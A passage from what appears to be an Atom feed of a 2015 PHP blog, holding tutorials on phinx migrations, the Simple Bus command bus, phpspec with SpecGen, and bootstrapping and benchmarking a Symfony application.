            'adapter' =&gt; 'pgsql',
            'host' =&gt; $parameters['parameters']['database_host'],
            'name' =&gt; $parameters['parameters']['database_name'].'_test',
            'user' =&gt; $parameters['parameters']['database_user'],
            'pass' =&gt; $parameters['parameters']['database_pass'],
            'port' =&gt; $parameters['parameters']['database_port'],
            'charset' =&gt; 'utf8',
        ),
    ),
);
</code></pre>

<p>The configuration could also be written in YAML, here I used PHP to be able to share
the database configuration with the application's one.</p>

<h2 id="usage-example">Usage example</h2>

<p>Migration files can be bootstrapped using the command:</p>

<pre><code>phinx create FirstVersion
</code></pre>

<p>Which results in the following file (<code>migrations/20150805201245_first_version.php</code>):</p>

<pre><code class="php">&lt;?php

use Phinx\Migration\AbstractMigration;

class FirstVersion extends AbstractMigration
{
    public function change()
    {
    }
}
</code></pre>

<p>In the <code>change</code> method we need to get a <code>Table</code> object using <code>$this-&gt;table('table_name')</code>
and then use it to describe the changes in the schema: phinx is then able to figure out
how to reverse them if necessary.</p>

<p>If you'd rather write SQL queries directly you need to remove <code>change</code> and define
a <code>up</code> and a <code>down</code> method. In them you can use <code>$this-&gt;query('SQL')</code> to execute
your queries.</p>

<p>Example:</p>

<pre><code class="php">&lt;?php

use Phinx\Migration\AbstractMigration;

class FirstVersion extends AbstractMigration
{
    public function up()
    {
        $this-&gt;query('CREATE TABLE my_table;');
    }

    public function down()
    {
        $this-&gt;query('DROP TABLE my_table;');
    }
}
</code></pre>

<p>Migrating an application then becomes as simple as:</p>

<pre><code>phinx migrate
</code></pre>

<p>And rolling back:</p>

<pre><code>phinx rollback
</code></pre>

<h2 id="tips">Tips</h2>

<p>Time for the personal tips!</p>

<p>Using <a href="http://www.doctrine-project.org/projects/migrations.html">Doctrine Migrations</a>
is fine when using Doctrine ORM, but for the rest (including Doctrine DBAL) I'd rather use phinx.</p>

<p>While <code>Table</code> allows to write portable migrations and saves you the time of writing the <code>down</code> method,
I'd advise you to write directly SQL queries: it's a layer less to learn and it will be consistent
with the migrations where you insert / update data.</p>

<h2 id="conclusion">Conclusion</h2>

<p>Migration libraries are all very similar, the nice touch of phinx is that it's not
coupled to any framework and it doesn't require any integration.</p>

<p>Give it a try!</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Simple Bus]]></title>
            <link href="/2015/08/04/simple-bus.html"/>
            <updated>2015-08-04T00:00:00+01:00</updated>
            <id>/2015/08/04/simple-bus.html</id>
            <content type="html"><![CDATA[<p><a href="http://simplebus.github.io/MessageBus/">Simple Bus</a> is a lightweight library
created by <a href="https://twitter.com/matthiasnoback">Matthias Noback</a> allowing you to
use the Command Bus design pattern in your applications.</p>

<h2 id="command-%2F-query-responsibility-separation">Command / Query Responsibility Separation</h2>

<p>The <a href="http://martinfowler.com/bliki/CQRS.html">CQRS principle</a> specifies that an
application entry point (e.g. console command, or web controller) should only do
an imperative command (e.g. register a member) or an interrogatory command (how many members?).</p>

<p>Here's a nice reference about the different kinds of commands, by
<a href="https://twitter.com/mathiasverraes">Mathias Verraes</a>: <a href="http://verraes.net/2015/01/messaging-flavours/">Messaging flavours</a>.</p>

<p>This allows to simplify the application and the code base: those are two different
concerns and with the <a href="http://www.objectmentor.com/resources/articles/srp.pdf">Single Responsibility Principle</a>
we've learned that they shouldn't be mixed.</p>

<p>The Command Bus pattern aims at solving the imperative command part.</p>

<h2 id="command-bus">Command Bus</h2>

<p>With this design pattern, we have 3 different kinds of class:</p>

<ul>
<li>Command: a Data Transfer Object (no logic) with a name describing the command (e.g. <code>RegisterMember</code>)</li>
<li>Command Handler: the service that does the actions require by the Command (note: 1 Command =  1 Command Handler)</li>
<li>Command Bus: given a Command, it will execute the appropriate Command Handler</li>
</ul>

<p>Our entry points would create the command using the parameters received
(e.g. console input or request content), and then give it to the Command Bus.</p>

<p>Having a Command Bus class is really nice as it allows us to execute things before and
after every commands: for example in a test environment we could wrap SQL queries in transactions
and roll them back.</p>

<h2 id="usage-example">Usage example</h2>

<p>Here's how to install Simple Bus:</p>

<pre><code>composer require simple-bus/message-bus:^3.0
</code></pre>

<p>Since it allows us to choose how the Command Bus will find the Command Handler, we
have to set it up:</p>

<pre><code class="php">&lt;?php

use SimpleBus\Message\Bus\Middleware\MessageBusSupportingMiddleware;
use SimpleBus\Message\CallableResolver\CallableMap;
use SimpleBus\Message\CallableResolver\ServiceLocatorAwareCallableResolver;
use SimpleBus\Message\Handler\DelegatesToMessageHandlerMiddleware;
use SimpleBus\Message\Handler\Resolver\NameBasedMessageHandlerResolver;
use SimpleBus\Message\Name\ClassBasedNameResolver;

require __DIR__.'/vendor/autoload.php';

$commandHandlerMap = new CallableMap(array(
    'Vendor\Project\Member\RegisterMember' =&gt; array('register_member_handler', 'handle'),
), new ServiceLocatorAwareCallableResolver(function ($serviceId) {
    if ('register_member_handler' === $serviceId) {
        return new Vendor\Project\Member\RegisterMemberHandler();
    }
}));

$commandBus = new MessageBusSupportingMiddleware();
$commandBus-&gt;appendMiddleware(new DelegatesToMessageHandlerMiddleware(new NameBasedMessageHandlerResolver(
    new ClassBasedNameResolver(),
    $commandHandlerMap
)));
</code></pre>

<p>This create a Command Bus that will use the given Command's Fully Qualified ClassName
(FQCN, the class name with its full namespace) to call the associated Command Handler
in the map. Also, the Command Handler will only be created if it is used!</p>

<p>This configuration looks a bit scary, but thankfully if we use <a href="http://symfony.com/">Symfony</a>
we can just install the bundle:</p>

<pre><code>composer require simple-bus/symfony-bridge:^3.0
# Don't forget to register `SimpleBus\SymfonyBridge\SimpleBusCommandBusBundle` in `AppKernel`
</code></pre>

<p>Then we just have to use the <code>command_bus</code> service. To register Command Handler, we
need to tag service definitions as follow:</p>

<pre><code>services:
    register_member_handler:
        class: Vendor\Project\Member\RegisterMemberHandler
        tags:
            - { name: command_handler, handles: Vendor\Project\Member\RegisterMember }
</code></pre>

<p>Now that the configuration is settled, here's a usage example:</p>

<pre><code class="php">$username = isset($argv[1]) ? $argv[1] : null;
$commandBus-&gt;handle(new RegisterMember($username));
</code></pre>

<p>The command would look like this:</p>

<pre><code class="php">&lt;?php

namespace Vendor\Project\Member;

class RegisterMember
{
    public $username;

    public function __construct($username)
    {
        if (null === $username) {
            throw new \InvalidArgumentException('Missing required "username" parameter');
        }
        $this-&gt;username = $username;
    }
}
</code></pre>

<blockquote>
  <p><strong>Note</strong>: Commands validate simple input logic (required parameters, parameter type, etc).</p>
</blockquote>

<p>The Command Handler could look like this:</p>

<pre><code class="php">&lt;?php

namespace Vendor\Project\Member;

class RegisterMember
{
    private $memberRepository;

    public function __construct(MemberRespository $memberRepository)
    {
        $this-&gt;memberRepository = $memberRepository;
    }

    public function handle(RegisterMember $registerMember)
    {
        if ($memberRepository-&gt;has($registerMember-&gt;username)) {
            throw new \DomainException(sprintf('Given username "%s" already exists, and duplicates are not allowed', $registerMember-&gt;username));
        }
        $memberRepository-&gt;register($registerMember);
    }
}
</code></pre>

<p>The Command Handler validates more complex logic (member username duplication, etc).</p>

<p>Here's a nice reference about command validation: <a href="http://verraes.net/2015/02/form-command-model-validation/">Form, Command, and Model Validation</a>.</p>

<h2 id="tips">Tips</h2>

<p>Here are some personal tips!</p>

<p>We can reuse Command Handlers by injecting them into other Command Handlers
(don't inject the Command Bus in a Command Handler).</p>

<p>Command Handlers were not meant to return anything (think of asynchrone messages).
But this might not always be pragmatic: in this case we can store a return value in the Command.</p>

<p>We've talked about the Command part in CQRS, what about the Query part?
I've experimented a bit with a "Query Bus", but in the end I've settled down with
a Search Engine class, to which a Criteria is given.</p>

<h2 id="conclusion">Conclusion</h2>

<p>Remember when people said that controllers shouldn't have any logic in it?
With the Command Bus pattern this becomes possible.
It also makes this kind of logic reusable and testable.</p>

<p>Simple Bus is a nice library for this: it doesn't get in our way.
For more information about it, read the series of articles published for its first release
(caution: the public API changed a lot since): <a href="http://php-and-symfony.matthiasnoback.nl/tags/SimpleBus/">A wave of command buses</a>.</p>

<p>An alternative in the PHP world would be <a href="http://tactician.thephpleague.com/">Tactician</a>.</p>

<p>Here's also some nice slides by <a href="https://twitter.com/mr_r_miller">Richard Miller</a>
about CQRS: <a href="https://speakerdeck.com/richardmiller/avoiding-the-mud">Avoiding the Mud</a>.</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[phpspec]]></title>
            <link href="/2015/08/03/phpspec.html"/>
            <updated>2015-08-03T00:00:00+01:00</updated>
            <id>/2015/08/03/phpspec.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p><strong>Reference</strong>: This article is intended to be as complete as possible and is kept up to date.</p>
</blockquote>

<p><a href="http://www.phpspec.net">phpspec</a> is a highly opinionated unit test framework:
it was conceived to practice <a href="http://dannorth.net/introducing-bdd/">specBDD</a>
(test method names should be sentences) and
<a href="http://martinfowler.com/articles/mocksArentStubs.html">Mockist TDD</a>
(collaborators should always be mocked) and tries to enforce some testing practices
(see <a href="https://twitter.com/_md">Marcello Duarte</a>'s <a href="http://techportal.inviqa.com/2014/09/11/my-top-ten-favourite-phpspec-limitations/">top 10 favourite phpspec limitations</a>).</p>

<p>The <a href="http://blog.astrumfutura.com/2008/01/the-phpspec-zend-framework-app-testing-manifesto-zf-integration/">first version</a>
was created by <a href="https://twitter.com/padraicb">Pádraic Brady</a> as a port of <a href="http://rspec.info/">rspec</a>,
but Marcello Duarte and <a href="https://twitter.com/everzet">Konstantin Kudryashov</a>
took over and released a second version which added code generation.
<a href="https://twitter.com/CiaranMcNulty">Ciaran McNulty</a> then took the lead from v2.1
and added many features like collaborator generation, better exception specification
and currently for version 2.3 better constructor specification.</p>

<h2 id="usage-example">Usage example</h2>

<p>Let's have a look at how phpspec works. For this we'll need to have a project configured with
<a href="https://getcomposer.org/download">Composer</a>. Here's the <code>composer.json</code> file:</p>

<pre><code>{
    "name": "vendor/project",
    "autoload": {
        "psr-4": {
            "Vendor\\Project\\": "src/Vendor/Project"
        }
    },
    "require": {},
    "require-dev": {}
}
</code></pre>

<p>We can install phpspec with the following:</p>

<pre><code>composer require --dev phpspec/phpspec:^2.2
</code></pre>

<p>Let's say we want to create a class that edits text files. We can call this class
<code>TextEditor</code>:</p>

<pre><code>phpspec describe 'Vendor\Project\TextEditor'
</code></pre>

<blockquote>
  <p><strong>Tip</strong>: make your vendor's binaries available by adding <code>vendor/bin</code> to your <code>$PATH</code>.
  <code>export PATH="vendor/bin:$PATH"</code>.</p>
</blockquote>

<p>We should now have the <code>spec/Vendor/Project/TextEditorSpec.php</code> file, bootstraped
for us by phpspec:</p>

<pre><code class="php">&lt;?php

namespace spec\Vendor\Project;

use PhpSpec\ObjectBehavior;
use Prophecy\Argument;

class TextEditorSpec extends ObjectBehavior
{
    function it_is_initializable()
    {
        $this-&gt;shouldHaveType('Vendor\Project\TextEditor');
    }
}
</code></pre>

<blockquote>
  <p><strong>Note</strong>: this test can only be used to test the <code>TextEditor</code> class.</p>
</blockquote>

<p>Our first use case will be about creating a file if it doesn't already exist.
Those are filesystem operations, so we decide to delegate the actual logic to a
<code>Filesystem</code> class (we'll create it later).</p>

<p>So our first step will be to create a set up method (it will be executed before
every test method) that initializes our object:</p>

<pre><code class="php">&lt;?php
// File: spec/Vendor/Project/TextEditorSpec.php

namespace spec\Vendor\Project;

use Vendor\Project\Service\Filesystem;
use PhpSpec\ObjectBehavior;

class TextEditorSpec extends ObjectBehavior
{
    function let(Filesystem $filesystem)
    {
        $this-&gt;beConstructedWith($filesystem);
    }
}
</code></pre>

<p>Arguments passed to test methods are actually test doubles (phpspec uses the typehint
to know what to mock).</p>

<p>Now we can create the actual test method:</p>

<pre><code class="php">&lt;?php
// File: spec/Vendor/Project/TextEditorSpec.php

namespace spec\Vendor\Project;

use Vendor\Project\Service\Filesystem;
use Vendor\Project\File;
use PhpSpec\ObjectBehavior;

class TextEditorSpec extends ObjectBehavior
{
    const FILENAME = '/tmp/file.txt';
    const FORCE_FILE_CREATION = true;

    function let(Filesystem $filesystem)
    {
        $this-&gt;beConstructedWith($filesystem);
    }

    function it_can_force_file_creation_if_it_does_not_already_exists(File $file, Filesystem $filesystem)
    {
        $filesystem-&gt;exists(self::FILENAME)-&gt;willReturn(false);
        $filesystem-&gt;create(self::FILENAME)-&gt;willReturn($file);

        $this-&gt;open(self::FILENAME, self::FORCE_FILE_CREATION)-&gt;shouldBe($file);
    }
}
</code></pre>

<p>This is roughly the equivalent of the following with <a href="https://phpunit.de/">PHPUnit</a>:</p>

<pre><code class="php">&lt;?php

namespace Vendor\Project\Tests;

use Vendor\Project\Service\Filesystem;
use Vendor\Project\File;
use PhpSpec\ObjectBehavior;

class TextEditorTest extends PHPUnit_Framewor_TestCase
{
    const FILENAME = '/tmp/file.txt';
    const FORCE_FILE_CREATION = true;

    private $prophet;
    private $filesystem;
    private $textEditor;

    protected function setUp()
    {
        $this-&gt;prophet = new \Prophecy\Prophet();
        $this-&gt;filesystem = $this-&gt;prophet-&gt;prophesize('Vendor\Project\Service\Filesystem');
        $this-&gt;textEditor = new TextEditor($filesystem-&gt;reveal());
    }

    protected function tearDown()
    {
        $this-&gt;prophet-&gt;checkPredictions();
    }

    /**
     * @test
     */
    public function it_can_force_file_creation_if_it_does_not_already_exists()
    {
        $file = $this-&gt;prophet-&gt;prophesize('Vendor\Project\File');
        $this-&gt;filesystem-&gt;exists(self::FILENAME)-&gt;willReturn(false);
        $this-&gt;filesystem-&gt;create(self::FILENAME)-&gt;willReturn($file);

        self::assertSame($file, $this-&gt;textEditor-&gt;open(self::FILENAME, self::FORCE_FILE_CREATION));
    }
}
</code></pre>

<blockquote>
  <p><strong>Note</strong>: We tried to make the test method as descriptive as possible (e.g. not <code>testOpen()</code>).
  This is the whole point of specBDD (specification Behavior Driven Development).</p>
</blockquote>

<p>phpspec uses the mocking library prophecy (also available in PHPUnit since version 4.4),
which tries to be as less verbose as possible: to describe interractions, test doubles
can almost be used as the actual object, except we need to add a <code>-&gt;willreturn()</code> or
<code>-&gt;shouldBeCalled()</code> call afterwards.</p>

<blockquote>
  <p><strong>Note</strong>: By mocking all collaborators, we are forced to think how our object interracts with them.
  This is the whole point of Mockist TDD (Mockist Test Driven Development).</p>
</blockquote>

<p>Now that we have a test, we are going to execute the test suite (as advocated by TDD):</p>

<pre><code>phpspec run
</code></pre>

<p>It will ask the following 7 questions:</p>

<ol>
<li>Would you like me to generate an interface <code>Vendor\Project\Service\Filesystem</code> for you?</li>
<li>Would you like me to generate an interface <code>Vendor\Project\File</code> for you?</li>
<li>Would you like me to generate a method signature <code>Vendor\Project\Service\Filesystem::exists()</code> for you?</li>
<li>Would you like me to generate a method signature <code>Vendor\Project\Service\Filesystem::create()</code> for you?</li>
<li>Do you want me to create <code>Vendor\Project\TextEditor</code> for you?</li>
<li>Do you want me to create <code>Vendor\Project\TextEditor::__construct()</code> for you?</li>
<li>Do you want me to create <code>Vendor\Project\TextEditor::open()</code> for you?</li>
</ol>

<p>By accepting everytime, phpspec will bootstrap the following
<code>src/Vendor/Project/Vendor/TextEditor.php</code> file:</p>

<pre><code class="php">&lt;?php

namespace Vendor\Project;

class TextEditor
{

    public function __construct($argument1)
    {
        // TODO: write logic here
    }

    public function open($argument1, $argument2)
    {
        // TODO: write logic here
    }
}
</code></pre>

<p>In our specification, we make use of non existing class (<code>File</code> and <code>Filesystem</code>)
but phpspec also bootstraped them for us, for example <code>src/Vendor/Project/Vendor/Filesystem.php</code>:</p>

<pre><code class="php">&lt;?php

namespace Vendor\Project\Service;

interface Filesystem
{

    public function exists($argument1);

    public function create($argument1);
}
</code></pre>

<p>This is extremely usefull to kickstart our TDD cycle!</p>

<p>Once the code is written, we'll execute the test suite again, and then we'll add more
use cases to the test class (e.g. what happens if the file already exists?).</p>

<p>For further usage example, have a look at: <a href="tags/phpspec">articles tagged with phpspec</a>.</p>

<h2 id="specgen">SpecGen</h2>

<p>phpspec's code generator is a big part of its value, but it could do more for us.
Hence the <a href="https://github.com/memio/spec-gen">SpecGen</a> extension!</p>

<p>We can install it as follow:</p>

<pre><code>composer require --dev memio/spec-gen:^0.4
echo 'extensions:' &gt; phpspec.yml
echo '  - Memio\SpecGen\MemioSpecGenExtension' &gt;&gt; phpspec.yml
</code></pre>

<p>If we remove the code generated by phpspec:</p>

<pre><code>rm src/Vendor/Project/TextEditor.php
</code></pre>

<p>And re-run the tests:</p>

<pre><code>phpspec run
</code></pre>

<p>Then the generated class will be:</p>

<pre><code class="php">&lt;?php

namespace Vendor\Project;

use Vendor\Project\Service\Filesystem;

class TextEditor
{
    private $filesystem;

    public function __construct(Filesystem $filesystem)
    {
        $this-&gt;filesystem = $filesystem;
    }

    public function open($argument1, $argument2)
    {
    }
}
</code></pre>

<h2 id="emergent-design">Emergent Design</h2>

<p>Test are more than simple regression checks: when a class is hard to test it indicates
that it does too many things or is too coupled.</p>

<p>They can also be used as a design tool: in our test method we can define exactly how
we would like to use the future object. We can even decide on the go that some logic
could be done by collaborators that don't exist yet and start defining how we like to
interract with them.</p>

<p>This is what Emergent Design is all about: the design emerges on the go from the tests.
Then they stop being simple tests, they become specifications: a live documentation
of your code, which never become out of date.</p>

<h2 id="tips">Tips</h2>

<p>Here are some personal tips:</p>

<ul>
<li>use <code>willReturn</code> if you need the returned value of a collaborator (official name: Mock)</li>
<li>use <code>shouldBeCalled</code> to check that a collaborator is called (official name: Stub)</li>
<li>do not chain <code>willReturn</code> and <code>shouldBeCalled</code>, you have to pick one!</li>
<li>create a <code>it_is_a_</code> test method with a <code>shouldImplement</code> check when testing implementations</li>
<li>the <code>shouldBe</code> matcher is usually the only one you need</li>
<li>if you have a lot (how many? that's your call) of test methods, maybe it's time to split your object</li>
<li>if you copy paste the same block of code in many test methods, maybe it's time extract it into an object</li>
</ul>

<p>If the tested object (official name: System Under Test, SUT) creates a value object and passes
it to a collaborator you have two choices:</p>

<ul>
<li>pass <code>Argument::type('MyValueObject')</code></li>
<li>create a factory and add it as a dependency</li>
</ul>

<h2 id="conclusion">Conclusion</h2>

<p>phpspec is a nice unit testing framework, with many advantages:</p>

<ul>
<li>it's fast: on average projects the test suite is run in less than a second</li>
<li>it's a good pair-programming partner: when something is hard to test, it means that there is a better diffrent way to do it</li>
<li>it's a time saver: the code bootstrapping feature is a must have!</li>
<li>it isn't verbose: tests can be read as documented code examples</li>
</ul>

<p>Give it a try!</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Symfony Differently - part 3: Conclusion]]></title>
            <link href="/2015/08/02/sf-differently-part-3-conclusion.html"/>
            <updated>2015-08-02T00:00:00+01:00</updated>
            <id>/2015/08/02/sf-differently-part-3-conclusion.html</id>
            <content type="html"><![CDATA[<p>This series isn't really working for me, so I've decided to conclude it prematurely.
Have a look at the first ones:</p>

<ol>
<li><a href="/2015/06/03/sf-differently-part-1-introduction.html">Introduction</a></li>
<li><a href="/2015/06/10/sf-differently-part-2-bootstrap.html">Bootstrap</a></li>
</ol>

<p>In this article we'll see a series of optimizations with their impact. Then we'll
conclude that Caching is actually better, let's see those figures!</p>

<h2 id="tools">Tools</h2>

<p>The application is built with the Symfony Standard Edition and Doctrine ORM's QueryBuilder.
Composer's configuration has been tweaked to use PSR-4 and to not autoload tests.
Also Composer has been run with the <code>--optimize-autoloader</code> option.</p>

<p>Tests are done using <a href="https://httpd.apache.org/docs/2.2/programs/ab.html">ab</a>
(with 10 concurrent clients for 10 seconds), on a different server than the application's
one.</p>

<p>Also, we're using PHP 5.5 and Symfony 2.7.</p>

<h2 id="optimizations">Optimizations</h2>

<p>The application would initially serve: <strong>22 requests / seconds</strong>.</p>

<p>By removing unused dependencies, we get <strong>23 requests / seconds</strong>.</p>

<blockquote>
  <p>Note</p>
  
  <p>Removed:</p>
  
  <ul>
  <li>AsseticBundle</li>
  <li>SensioDistributionBundle (only from <code>AppKernel</code>, the dependency is kept to generate <code>app/bootstrap.php.cache</code>)</li>
  <li>SensioGeneratorBundle</li>
  <li>SwiftmailerBundle</li>
  <li>TwigBundle</li>
  <li>WebProfilerBundle</li>
  </ul>
  
  <p>Also, the following components have been disabled:</p>
  
  <ul>
  <li>Form</li>
  <li>Validation</li>
  </ul>
</blockquote>

<p>By switching from Doctrine ORM's Query Builder to Doctrine DBAL's one: <strong>28 requests / seconds</strong>.</p>

<p>By <a href="http://labs.octivi.com/mastering-symfony2-performance-internals/">adding classes to compile</a>:
<strong>29 requests / seconds</strong>.</p>

<p>By defining controllers as services: <strong>30 requests / seconds</strong>.</p>

<p>This sums up to an increase of 36%.</p>

<h2 id="how-about-using-http-cache%3F">How about using HTTP cache?</h2>

<p>By setting a 10 seconds HTTP cache (using <a href="http://foshttpcachebundle.readthedocs.org/en/latest/">FOSCacheBundle</a>),
on top of the previous optimizations , we get <strong>160 requests / seconds</strong> (an increase of 430%).</p>

<p>And that's by using Symfony's built in reverse proxy, imagine what we could get with varnish!</p>

<h2 id="conclusion">Conclusion</h2>

<p>While optimizations are fun, they don't bring much value. The main bottlenecks
are usually the autoloading, database/network transactions and the number of functions
called.</p>

<p>On the other hand, using a reverse proxy is quite simple and does pay off!</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Symfony Differently - part 2: Bootstrap]]></title>
            <link href="/2015/06/10/sf-differently-part-2-bootstrap.html"/>
            <updated>2015-06-10T00:00:00+01:00</updated>
            <id>/2015/06/10/sf-differently-part-2-bootstrap.html</id>
            <content type="html"><![CDATA[<p>This is the second article of the <a href="https://symfony.com">Symfony</a> Differently series,
Have a look at the first one: <a href="/2015/06/03/sf-differently-part-1-introduction.html">Introduction</a>.</p>

<p>Our goal in this post is to bootstrap an application to then create a search endpoint for items.
We've decided to use Symfony for a single reason: our company Acme used it since the begining
and the API developers team has Symfony and PHP skills.</p>

<blockquote>
  <p><strong>Note</strong>: Most frameworks have a good community support, a strong documentation,
  similar features and many developers available on the market. We'll see the
  importance of a framework performances in the following articles, but the point
  here is that the choice should mainly rely on skills we have internally
  (and the ones we can acquire).</p>
</blockquote>

<h2 id="symfony-standard-edition">Symfony Standard Edition</h2>

<p>The first step is to use <a href="http://getcomposer.com/">Composer</a>:</p>

<pre><code>composer create-project symfony/framework-standard-edition items
</code></pre>

<p>This will create a directory structure for our project, download a set of third
party libraries and ask us to set a bunch of configuration parameters. In this
series we'll use a Postgres database, so we need to edit <code>app/config/config.yml</code>:</p>

<pre><code># ...

# Doctrine Configuration
doctrine:
    dbal:
        driver: pdo_pgsql

# ...
</code></pre>

<p>Once finished we'll save our work using Git:</p>

<pre><code>cd items
git init
git add -A
git ci -m 'Created a standard Symfony application'
</code></pre>

<blockquote>
  <p><strong>Note</strong>: We can also use the <a href="http://symfony.com/doc/current/book/installation.html#installing-the-symfony-installer">Symfony Installer</a>
  to create new projects.</p>
</blockquote>

<h2 id="configuring-apache">Configuring Apache</h2>

<p>For the same reason we chose Symfony we've decided to use Apache for our web servers
(it's the one used for all previous projects).</p>

<blockquote>
  <p><strong>Note</strong>: By providing Nginx trainings and recruiting devops used to, it Acme
  could change its technology stack. The only rule when switching to another
  technology is to stick to it in order to avoid having too many different technologies.</p>
</blockquote>

<p>We need to create a virtual host first by creating the <code>/etc/apache2/sites-available/items.conf</code>
file:</p>

<pre><code>&lt;VirtualHost *:80&gt;
    ServerName items.local

    DocumentRoot /home/foobar/items/web

    ErrorLog "/home/foobar/items/app/logs/apache_errors.log"
    CustomLog "/home/foobar/items/app/logs/apache_accesses.log" common

    &lt;Directory /home/foobar/items/web&gt;
        Options Indexes FollowSymLinks MultiViews
        AllowOverride all
        Require all granted
        Order allow,deny
        allow from all
    &lt;/Directory&gt;
&lt;/VirtualHost&gt;
</code></pre>

<p>Apache will require access to the logs and cache directories, as well as our user.
The easiest way to avoid permission issues is to change Apache's user and group
to ours in <code>/etc/apache2/envvars</code>:</p>

<pre><code>export APACHE_RUN_USER=foobar
export APACHE_RUN_GROUP=foobar
</code></pre>

<p>We'll aslo need to add the hostname to our <code>/etc/hosts</code> file:</p>

<pre><code>echo '127.0.0.1 items.local' | sudo tee -a /etc/hosts
</code></pre>

<p>Finally we have to enable the website and reload Apache to take the configuration into account:</p>

<pre><code>sudo a2ensite items
sudo service apache2 reload
</code></pre>

<p>We now should be able to see the message "Homepage" when browsing http://items.local/app_dev.php/app/example</p>

<h2 id="tests">Tests</h2>

<p>A nice tweak to do is to move tests in a separate directory, allowing Composer to only
autoload test class in development environments. This can be done by changing <code>composer.json</code>
as follow:</p>

<pre><code>{
    "name": "acme/items",
    "license": "private",
    "type": "project",
    "description": "Specific APIs for items",
    "autoload": {
        "psr-4": { "AppBundle\\": "src/AppBundle" }
    },
    "autoload-dev": {
        "psr-4": { "AppBundle\\Tests\\": "tests/" }
    },
    "require": {
        "php": "&gt;=5.3.3",
        "symfony/symfony": "~2.7@beta",
        "doctrine/orm": "~2.2,&gt;=2.2.3,&lt;2.5",
        "doctrine/dbal": "&lt;2.5",
        "doctrine/doctrine-bundle": "~1.4",
        "symfony/assetic-bundle": "~2.3",
        "symfony/swiftmailer-bundle": "~2.3",
        "symfony/monolog-bundle": "~2.4",
        "sensio/distribution-bundle": "~3.0,&gt;=3.0.12",
        "sensio/framework-extra-bundle": "~3.0,&gt;=3.0.2",
        "incenteev/composer-parameter-handler": "~2.0"
    },
    "require-dev": {
        "sensio/generator-bundle": "~2.3"
    },
    "scripts": {
        "post-install-cmd": [
            "Incenteev\\ParameterHandler\\ScriptHandler::buildParameters",
            "Sensio\\Bundle\\DistributionBundle\\Composer\\ScriptHandler::buildBootstrap",
            "Sensio\\Bundle\\DistributionBundle\\Composer\\ScriptHandler::clearCache",
            "Sensio\\Bundle\\DistributionBundle\\Composer\\ScriptHandler::installAssets",
            "Sensio\\Bundle\\DistributionBundle\\Composer\\ScriptHandler::installRequirementsFile",
            "Sensio\\Bundle\\DistributionBundle\\Composer\\ScriptHandler::removeSymfonyStandardFiles",
            "Sensio\\Bundle\\DistributionBundle\\Composer\\ScriptHandler::prepareDeploymentTarget"
        ],
        "post-update-cmd": [
            "Incenteev\\ParameterHandler\\ScriptHandler::buildParameters",
            "Sensio\\Bundle\\DistributionBundle\\Composer\\ScriptHandler::buildBootstrap",
            "Sensio\\Bundle\\DistributionBundle\\Composer\\ScriptHandler::clearCache",
            "Sensio\\Bundle\\DistributionBundle\\Composer\\ScriptHandler::installAssets",
            "Sensio\\Bundle\\DistributionBundle\\Composer\\ScriptHandler::installRequirementsFile",
            "Sensio\\Bundle\\DistributionBundle\\Composer\\ScriptHandler::removeSymfonyStandardFiles",
            "Sensio\\Bundle\\DistributionBundle\\Composer\\ScriptHandler::prepareDeploymentTarget"
        ]
    },
    "extra": {
        "symfony-app-dir": "app",
        "symfony-web-dir": "web",
        "symfony-assets-install": "relative",
        "incenteev-parameters": {
            "file": "app/config/parameters.yml"
        }
    }
}
</code></pre>

<p>Since we've decided to move vendor binaries back to <code>vendor/bin</code>, we can un-ignore
the <code>bin</code> directory by editing <code>.gitignore</code>:</p>

<pre><code>/web/bundles/
/app/bootstrap.php.cache
/app/cache/*
/app/config/parameters.yml
/app/logs/*
!app/cache/.gitkeep
!app/logs/.gitkeep
/app/phpunit.xml
/build/
/vendor/
/composer.phar
</code></pre>

<p>To make it official, we need to run the following commands:</p>

<pre><code>rm -rf bin
composer update
</code></pre>

<blockquote>
  <p><strong>Note</strong>: In production, we'll need to run <code>composer install --no-dev --optimize-autoloader</code></p>
</blockquote>

<p>Our system/functional tests will involve database queries which can make the test suite
unreliable. To fix this, we'll create a "middleware" that wraps our <code>AppKernel</code> in a
database transaction and rolls it back after each requests:</p>

<p>To do so, we can create the following <code>app/RollbackKernel.php</code>:</p>

<pre><code class="php">&lt;?php
// File: app/RollbackKernel.php

use Doctrine\DBAL\Connection;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpKernel\HttpKernelInterface;

class RollbackKernel implements HttpKernelInterface
{
    private $app;
    private $connection;

    public function __construct(HttpKernelInterface $app, Connection $connection)
    {
        $this-&gt;app = $app;
        $this-&gt;connection = $connection;
    }

    public static function make()
    {
        $kernel = new \AppKernel('test', false);
        $kernel-&gt;boot();
        $connection = $kernel-&gt;getContainer()-&gt;get('doctrine.dbal.default_connection');

        return new self($kernel, $connection);
    }

    public function handle(Request $request, $type = HttpKernelInterface::MASTER_REQUEST, $catch = true)
    {
        $this-&gt;connection-&gt;beginTransaction();
        $response = $this-&gt;app-&gt;handle($request, $type, $catch);
        $this-&gt;connection-&gt;rollback();

        return $response;
    }
}
</code></pre>

<p>To be able to use <code>RollbackKernel</code> in our tests we need to make it available by
creating the following <code>app/bootstrap_test.php</code>:</p>

<pre><code class="php">&lt;?php
// File: app/bootstrap_test.php

require __DIR__.'/bootstrap.php.cache';
require __DIR__.'/AppKernel.php';
require __DIR__.'/RollBackKernel.php';
</code></pre>

<p>Then we can configure PHPUnit to use it by editing <code>app/phpunit.xml.dist</code>:</p>

<pre><code>&lt;?xml version="1.0" encoding="UTF-8"?&gt;

&lt;!-- http://phpunit.de/manual/current/en/appendixes.configuration.html --&gt;
&lt;phpunit backupGlobals="false" colors="true" syntaxCheck="false" bootstrap="bootstrap_test.php"&gt;
    &lt;testsuites&gt;
        &lt;testsuite name="Functional Tests"&gt;
            &lt;directory&gt;../tests&lt;/directory&gt;
        &lt;/testsuite&gt;
    &lt;/testsuites&gt;
&lt;/phpunit&gt;
</code></pre>

<p>Finally we'll install <a href="http://phpspec.net/">phpspec</a> with <a href="http://memio.github.io/spec-gen">SpecGen</a>
for our unit tests:</p>

<pre><code>composer require --dev phpunit/phpunit:~4.6 phpspec/phpspec:~2.2 memio/spec-gen:~0.3
echo 'extensions:' &gt; phpspec.yml
echo '  - Memio\SpecGen\MemioSpecGenExtension' &gt;&gt; phpspec.yml
</code></pre>

